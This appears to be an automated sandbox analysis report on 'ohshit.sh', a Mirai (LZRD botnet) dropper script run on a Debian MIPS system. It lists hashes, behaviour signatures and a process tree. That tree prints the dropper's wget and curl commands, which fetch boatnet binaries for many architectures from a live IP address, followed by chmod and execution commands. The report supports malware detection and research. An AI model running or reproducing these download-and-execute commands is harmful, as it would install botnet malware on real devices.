Analysis

  • max time kernel
    149s
  • max time network
    134s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19-01-2025 17:57

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    a6ab6f96f6881539ccc0aefa53d99da6

  • SHA1

    eeeb59012c94058a106073e1595f84df20445979

  • SHA256

    a6bf5dd9b9c5ea86b4a816ea60f94bc0cf68ef6c23ec63d52edf9ddf875d7e34

  • SHA512

    ef0e55585920063d79f5508c6546ebe72dae9c8a5d59faf2fa3d3f3200fa6e970c0ead949638fd853bd752536aea1784fe70397fde0e8bee12478e55b3e6c600

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 51 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:699
    • /usr/bin/wget
      wget http://154.213.186.64/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:703
    • /usr/bin/curl
      curl -O http://154.213.186.64/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:717
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:727
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
        2⤵
        • File and Directory Permissions Modification
        PID:728
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:729
      • /usr/bin/wget
        wget http://154.213.186.64/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:732
      • /usr/bin/curl
        curl -O http://154.213.186.64/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:734
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:735
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:737
      • /usr/bin/wget
        wget http://154.213.186.64/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:741
      • /usr/bin/curl
        curl -O http://154.213.186.64/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:742
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:743
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:745
        • /usr/bin/wget
          wget http://154.213.186.64/hiddenbin/boatnet.i468
          2⤵
            PID:747
          • /usr/bin/curl
            curl -O http://154.213.186.64/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:750
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:758
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:761
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.i686
              2⤵
                PID:763
              • /usr/bin/curl
                curl -O http://154.213.186.64/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:769
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:778
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:779
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:780
                • /usr/bin/wget
                  wget http://154.213.186.64/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:781
                  • /usr/bin/curl
                    curl -O http://154.213.186.64/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:788
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:798
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:800
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:801
                    • /usr/bin/wget
                      wget http://154.213.186.64/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:803
                    • /usr/bin/curl
                      curl -O http://154.213.186.64/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:808
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:809
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:810
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:811
                      • /usr/bin/wget
                        wget http://154.213.186.64/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:813
                      • /usr/bin/curl
                        curl -O http://154.213.186.64/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:814
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:815
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:816
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:817
                        • /usr/bin/wget
                          wget http://154.213.186.64/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:819
                        • /usr/bin/curl
                          curl -O http://154.213.186.64/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:826
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:835
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:836
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:837
                          • /usr/bin/wget
                            wget http://154.213.186.64/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:841
                          • /usr/bin/curl
                            curl -O http://154.213.186.64/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:848
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:857
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:858
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:859
                            • /usr/bin/wget
                              wget http://154.213.186.64/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:861
                            • /usr/bin/curl
                              curl -O http://154.213.186.64/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:862
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:863
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:864
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:865
                              • /usr/bin/wget
                                wget http://154.213.186.64/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:867
                              • /usr/bin/curl
                                curl -O http://154.213.186.64/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:868
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:869
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:870
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:871
                                • /usr/bin/wget
                                  wget http://154.213.186.64/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:873
                                • /usr/bin/curl
                                  curl -O http://154.213.186.64/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:874
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:875
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-48e5b8b6487c42d8b9277acfd9dc6a30-systemd-timedated.service-Y35FUl WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:876
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:877
                                  • /usr/bin/wget
                                    wget http://154.213.186.64/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:879
                                  • /usr/bin/curl
                                    curl -O http://154.213.186.64/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:883
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:884
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:885
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:886
                                    • /usr/bin/wget
                                      wget http://154.213.186.64/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:888
                                    • /usr/bin/curl
                                      curl -O http://154.213.186.64/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:889
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:890
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:891
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:892

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      30KB

                                      MD5

                                      4f16ad7bf124db03b82939cfae92f15e

                                      SHA1

                                      6c6d17f48d583c5d3c002f4fc3a5390642d637fe

                                      SHA256

                                      96d6d379169a9a89a3704fbdeebce0698200440dcd5e6d814a96f2960f463573

                                      SHA512

                                      c01e6c9fd4475b69092e1cc6f9eaadefc54d91dffcee63c1c23f9ad3b392791f0371f841f075a948ce67f8d65387fbaef38c943d67511f9d143d83667e50c2cf

                                    • /tmp/WTF

                                      Filesize

                                      121KB

                                      MD5

                                      ec59d866ca314089702cad40a77aeebc

                                      SHA1

                                      4fa9bd7716542472cfa27dc9dc4dd664633af350

                                      SHA256

                                      c9216d4e33ba2a5ad059029216b4401f360e3db0e326975ebf088b8a8588d472

                                      SHA512

                                      d42862983fe554e1ce6873fb9e5763451cf052d97452bcdc92c298a374f922e57d76569d915708a261890088f8da0b881e6407979b497486ce7da7493f3a650b

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      75KB

                                      MD5

                                      839f6ad27dac29d4bb109eb01539a914

                                      SHA1

                                      3a477d4e91439b652554cc450c97da6769883b7f

                                      SHA256

                                      58b6d063fdfd52f1f8054fa6223aa31fe4f408d18cb4ad7275b63403b1fcbb0d

                                      SHA512

                                      706816e8ba5558bd80a53c5e8584ee85ee4b4a3a9a4db28916954435d7f98802215cf62b77bf716a93992102c9755853c308e7d235fd61e78d857e463b12e725

                                    • /tmp/boatnet.x86

                                      Filesize

                                      28KB

                                      MD5

                                      3630b4a04d550fb036675b516a910399

                                      SHA1

                                      7dd4e3efc4a7713d80ec4b8fbc5c0fd649038e7b

                                      SHA256

                                      a288c8c9d8fd6c92636bef0e8acf08f0d0d20b4108af37cea8385e7ad947dc67

                                      SHA512

                                      e33d21707d574422331610445e4fcdc08b7064f6988c022d27cc3650392940561891bd3ba7d97bc3ee1653ab818c7c815c65b2e8ffa0a14b9c6ea801da499b71